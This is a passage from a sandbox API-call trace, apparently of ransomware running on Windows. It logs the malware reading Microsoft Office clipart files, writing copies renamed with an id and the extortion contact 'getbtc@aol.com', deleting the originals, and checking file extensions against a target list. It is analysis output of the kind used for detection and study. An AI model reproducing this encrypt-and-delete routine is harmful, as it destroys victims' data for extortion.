lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.937] SetEndOfFile (hFile=0x1b8) returned 1 [0262.938] CloseHandle (hObject=0x1b8) returned 1 [0262.938] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.938] SetEndOfFile (hFile=0x37c) returned 1 [0262.940] CloseHandle (hObject=0x37c) returned 1 [0262.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0262.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.941] lstrlenW (lpString=".doc") returned 4 [0262.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.941] lstrlenW (lpString=".docx") returned 5 [0262.941] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.941] lstrlenW (lpString=".pdf") returned 4 [0262.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.941] lstrlenW (lpString=".xls") returned 4 [0262.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.941] lstrlenW (lpString=".xlsx") returned 5 [0262.942] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.942] lstrlenW (lpString=".ppt") returned 4 [0262.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString=".zip") returned 4 [0262.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.942] lstrlenW (lpString=".rar") returned 4 [0262.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString=".bz2") returned 4 [0262.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString=".7z") returned 3 [0262.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString=".dbf") returned 4 [0262.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString=".1cd") returned 4 [0262.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString=".jpg") returned 4 [0262.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.942] lstrlenW (lpString=".doc") returned 4 [0262.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString=".docx") returned 5 [0262.942] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.942] lstrlenW (lpString=".pdf") returned 4 [0262.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString=".xls") returned 4 [0262.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.942] lstrlenW (lpString=".xlsx") returned 5 [0262.942] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.942] lstrlenW (lpString=".ppt") returned 4 [0262.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.943] lstrlenW (lpString=".zip") returned 4 [0262.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.943] lstrlenW (lpString=".rar") returned 4 [0262.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.943] lstrlenW (lpString=".bz2") returned 4 [0262.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.943] lstrlenW (lpString=".7z") returned 3 [0262.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.943] lstrlenW (lpString=".dbf") returned 4 [0262.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.943] lstrlenW (lpString=".1cd") returned 4 [0262.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0262.943] lstrlenW (lpString=".jpg") returned 4 [0262.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.943] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.943] lstrlenW (lpString="J0152716.WMF") returned 12 [0262.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.944] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4580) returned 1 [0262.944] CloseHandle (hObject=0x37c) returned 1 [0262.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0262.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.944] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.944] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.945] GetLastError () returned 0x0 [0262.945] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x11e4, lpOverlapped=0x0) returned 1 [0262.946] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x11f0, lpOverlapped=0x0) returned 1 [0262.947] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.947] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.947] SetEndOfFile (hFile=0x1b8) returned 1 [0262.948] CloseHandle (hObject=0x1b8) returned 1 [0262.948] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.948] SetEndOfFile (hFile=0x37c) returned 1 [0262.950] CloseHandle (hObject=0x37c) returned 1 [0262.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString=".doc") returned 4 [0262.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString=".docx") returned 5 [0262.951] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.951] lstrlenW (lpString=".pdf") returned 4 [0262.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString=".xls") returned 4 [0262.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.951] lstrlenW (lpString=".xlsx") returned 5 [0262.951] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.951] lstrlenW (lpString=".ppt") returned 4 [0262.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString=".zip") returned 4 [0262.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.951] lstrlenW (lpString=".rar") returned 4 [0262.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString=".bz2") returned 4 [0262.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString=".7z") returned 3 [0262.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString=".dbf") returned 4 [0262.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString=".1cd") returned 4 [0262.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.951] lstrlenW (lpString=".jpg") returned 4 [0262.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString=".doc") returned 4 [0262.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString=".docx") returned 5 [0262.952] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.952] lstrlenW (lpString=".pdf") returned 4 [0262.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString=".xls") returned 4 [0262.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.952] lstrlenW (lpString=".xlsx") returned 5 [0262.952] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.952] lstrlenW (lpString=".ppt") returned 4 [0262.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString=".zip") returned 4 [0262.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.952] lstrlenW (lpString=".rar") returned 4 [0262.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString=".bz2") returned 4 [0262.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString=".7z") returned 3 [0262.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString=".dbf") returned 4 [0262.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString=".1cd") returned 4 [0262.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned 63 [0262.952] lstrlenW (lpString=".jpg") returned 4 [0262.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.953] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.953] lstrlenW (lpString="J0152722.WMF") returned 12 [0262.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.953] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7020) returned 1 [0262.953] CloseHandle (hObject=0x37c) returned 1 [0262.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0262.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.954] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.954] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.954] GetLastError () returned 0x0 [0262.954] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1b6c, lpOverlapped=0x0) returned 1 [0263.125] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0263.159] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.159] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.159] SetEndOfFile (hFile=0x1b8) returned 1 [0263.159] CloseHandle (hObject=0x1b8) returned 1 [0263.159] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.159] SetEndOfFile (hFile=0x37c) returned 1 [0263.162] CloseHandle (hObject=0x37c) returned 1 [0263.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.163] lstrlenW (lpString=".doc") returned 4 [0263.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString=".docx") returned 5 [0263.164] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.164] lstrlenW (lpString=".pdf") returned 4 [0263.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString=".xls") returned 4 [0263.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.164] lstrlenW (lpString=".xlsx") returned 5 [0263.164] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.164] lstrlenW (lpString=".ppt") returned 4 [0263.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString=".zip") returned 4 [0263.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.164] lstrlenW (lpString=".rar") returned 4 [0263.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString=".bz2") returned 4 [0263.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString=".7z") returned 3 [0263.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString=".dbf") returned 4 [0263.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString=".1cd") returned 4 [0263.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString=".jpg") returned 4 [0263.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.164] lstrlenW (lpString=".doc") returned 4 [0263.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.164] lstrlenW (lpString=".docx") returned 5 [0263.164] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.164] lstrlenW (lpString=".pdf") returned 4 [0263.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString=".xls") returned 4 [0263.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.165] lstrlenW (lpString=".xlsx") returned 5 [0263.165] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.165] lstrlenW (lpString=".ppt") returned 4 [0263.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.165] lstrlenW (lpString=".zip") returned 4 [0263.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.165] lstrlenW (lpString=".rar") returned 4 [0263.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString=".bz2") returned 4 [0263.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString=".7z") returned 3 [0263.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.165] lstrlenW (lpString=".dbf") returned 4 [0263.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.165] lstrlenW (lpString=".1cd") returned 4 [0263.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0263.165] lstrlenW (lpString=".jpg") returned 4 [0263.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.165] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.165] lstrlenW (lpString="J0153047.WMF") returned 12 [0263.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.250] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=33068) returned 1 [0263.250] CloseHandle (hObject=0x388) returned 1 [0263.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0263.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.262] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.262] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.262] GetLastError () returned 0x0 [0263.262] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x812c, lpOverlapped=0x0) returned 1 [0263.301] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x8130, lpOverlapped=0x0) returned 1 [0263.302] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.303] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.303] SetEndOfFile (hFile=0x3e0) returned 1 [0263.303] CloseHandle (hObject=0x3e0) returned 1 [0263.303] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.303] SetEndOfFile (hFile=0x1bc) returned 1 [0263.305] CloseHandle (hObject=0x1bc) returned 1 [0263.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft 